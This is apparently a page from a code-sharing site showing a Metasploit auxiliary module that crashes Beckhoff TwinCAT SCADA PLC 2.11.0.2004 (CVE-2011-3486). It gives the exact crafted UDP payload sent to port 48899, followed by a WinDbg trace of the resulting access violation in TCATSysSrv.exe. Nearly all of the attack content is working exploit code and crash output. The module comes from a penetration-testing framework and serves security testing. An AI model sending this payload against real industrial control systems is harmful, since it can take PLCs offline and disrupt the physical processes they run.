Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/dos/scada/beckhoff_twincat.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Udp7include Msf::Auxiliary::Dos89def initialize(info = {})10super(update_info(info,11'Name' => 'Beckhoff TwinCAT SCADA PLC 2.11.0.2004 DoS',12'Description' => %q{13The Beckhoff TwinCAT version <= 2.11.0.2004 can be brought down by sending14a crafted UDP packet to port 48899 (TCATSysSrv.exe).15},16'Author' =>17[18'Luigi Auriemma', # Public exploit19'jfa', # Metasploit module20],21'License' => MSF_LICENSE,22'References' =>23[24[ 'CVE', '2011-3486' ],25[ 'OSVDB', '75495' ],26[ 'URL', 'http://aluigi.altervista.org/adv/twincat_1-adv.txt' ]27],28'DisclosureDate' => '2011-09-13'29))3031register_options([Opt::RPORT(48899)])32end3334def run35dos = "\x03\x66\x14\x71" + "\x00"*16 + "\xff"*151436connect_udp37print_status("Sending DoS packet ...")38udp_sock.put(dos)39disconnect_udp40end41end4243=begin440:017> g45(4d4.850): Access violation - code c0000005 (first chance)46First chance exceptions are reported before any exception handling.47This exception may be expected and handled.48eax=02a1f9cf ebx=0037c0a8 ecx=02a0f9cc edx=ffffffff esi=02a0f9b4 edi=0000000149eip=00414f6a esp=02a0f7bc ebp=0000ffff iopl=0 nv up ei pl nz ac po cy50cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=0001021351*** ERROR: Module load completed but symbols could not be loaded for C:\TwinCAT\TCATSysSrv.exe52TCATSysSrv+0x14f6a:5300414f6a 66833802 cmp word ptr [eax],2 ds:0023:02a1f9cf=????540:016> k55ChildEBP RetAddr56WARNING: Stack unwind information not available. Following frames may be wrong.5702a0f7f8 71ab265b TCATSysSrv+0x14f6a5802a0f80c 71ab4a9e WS2_32!Prolog_v1+0x215902a0f834 7c90df3c WS2_32!WPUQueryBlockingCallback+0x1b6002a0f880 71a5332f ntdll!NtWaitForSingleObject+0xc6102a0f8f4 71abf6e7 mswsock!WSPRecvFrom+0x35c6202a0f938 71ad303a WS2_32!WSARecvFrom+0x7d6302a0f96c 00414b92 WSOCK32!recvfrom+0x396402a0f988 00000000 TCATSysSrv+0x14b9265=end666768